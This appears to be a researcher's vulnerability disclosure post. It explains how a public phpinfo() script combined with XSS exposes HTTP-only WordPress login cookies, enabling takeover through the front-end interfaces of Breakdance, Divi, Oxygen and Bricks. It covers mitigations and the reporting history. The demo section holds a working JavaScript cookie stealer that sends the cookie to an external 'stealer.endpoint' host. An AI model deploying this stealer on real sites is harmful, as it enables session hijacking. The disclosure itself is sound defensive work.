In the context of the recent surge in attention towards a critical Remote Code Execution (RCE) flaw in Brick Builder, I want to shed light on a less-known issue I discovered and reported two years ago. This flaw, which has been quietly addressed in versions around 1.6, affects not only Brick Builder but also other popular builders such as Breakdance, Divi, and Oxygen. Despite reporting it in 2021, the other builders have not yet remedied the vulnerability. Although the exploit is much more complex, I find the attack vector very interesting.

The Vulnerability Explained

For exploitation, several criteria must be met:

1. Presence of an accessible PHPinfo() output script (common issue).
2. Existence of Cross-Site Scripting (XSS) vulnerabilities on the site (pretty common: Patchstack DB).
3. Code execution enabled in the builders.

In most cases, therefore, this problem does not pose an immediate threat.

The essence of this vulnerability lies in the exposure of PHP info, which, under specific conditions, can escalate to RCE. This is primarily because phpinfo() can reveal WordPress authentication cookies that are otherwise secured by HTTP-only flags, thereby preventing JavaScript access.

Yes, you read that right – displaying phpinfo() can lead to RCE. I’ve mentioned this several times in my talks, but I don’t think anyone took it too seriously…

Don’t leave any accessible non-production files and scripts on the site, such as the phpinfo() output.

Understanding WordPress Authentication

WordPress doesn’t use regular PHP sessions, but a combination of identification in cookies and a stored session in the WordPress database, where IP, browser and login expiration information is stored (wp_usermeta – session_tokens).

WordPress uses 2 cookies:

• wordpress_logged_in_*: Recognizes logged-in users across the site – both frontend and administration.
• wordpress_sec_*: It is set for /wp-admin only

The dual-cookie strategy was initially a workaround for limited SSL certificate usage (you could use self-signed SSL for admin only and left frontend without it), but it is enhancing security by distinguishing between front-end and admin access too.

The Exploit Pathway

The exploitation hinges on bypassing the HTTP-only flag protection via a phpinfo() script, which, when combined with XSS in any plugin, allows attackers to seize the wordpress_logged_in_* cookie. This cookie is crucial as it enables unauthorized site editing through the builders’ frontend interfaces, leading to potential full site compromise.

Demo

The JS “Cookie” Stealer example:

var req = new XMLHttpRequest();
req.open("GET", "/info.php", true);
req.responseType = "text";
req.onload = function (event) {
  var xtext = req.responseText;
  xtext = xtext.match("/.*(wordpress_logged_in[^;]+);.*/")[1]
  var img = document.createElement("img");
  prompt('Your secret cookie',xtext);
  img.src = "https://stealer.endpoint/steal.php?"+xtext;
};
req.send();

This javascript read the file with phpinfo() output with ajax request, parse its text to find wordpress_logged_in_* cookie and send it to the external server in GET parameter (the prompt is there just for debug).

On a standard WordPress site, having just this one cookie won’t let someone into the admin area, so the risk of harm is low. The wordpress_sec_* cookie, which is needed for admin access, can only be grabbed if there’s another phpinfo() script inside the wp-admin folder.

This is where builders that work on the front of the site, not inside /wp-admin, become important to think about.

It is worth mention that custom PHP applications that use only one session cookie are more susceptible to this attack than WordPress.

Examples of frontend addresses for running various builders

• Breakdance: https://example.com/?breakdance=builder&id=2&qs_redir_cnt=1
• Oxygen: https://example.com/?ct_builder=true&ct_inner=true
• Bricks Builder: https://example.com/?bricks=run
• Divi: https://example.com/?et_fb=1&PageSpeed=off

Mitigation Strategies

From a builder’s perspective, this issue can be addressed by:

1. Verifying admin access via admin-ajax before launching the builder.
2. Relocating the editing interface to within the wp-admin area.

Users can protect themselves by ensuring no unnecessary files, for example those with phpinfo() output, are left on their sites.

Current status

I demonstrated this problem at WordCamp Prague 2021 (Czech language), highlighting the ongoing risks and the importance of vigilance in web security.

In Feb 2021 I reported this problem to the Oxygen team (the same developers who develop Breakdance). They replied that they will pass it on to the devel team, but it has never been fixed even after my urging.

At the same time I reported it to Elegant Themes, but I got no answer.

After my first experience with Bricks Builder in July 2022 I found the same problem and reported it. After several releases it was fixed.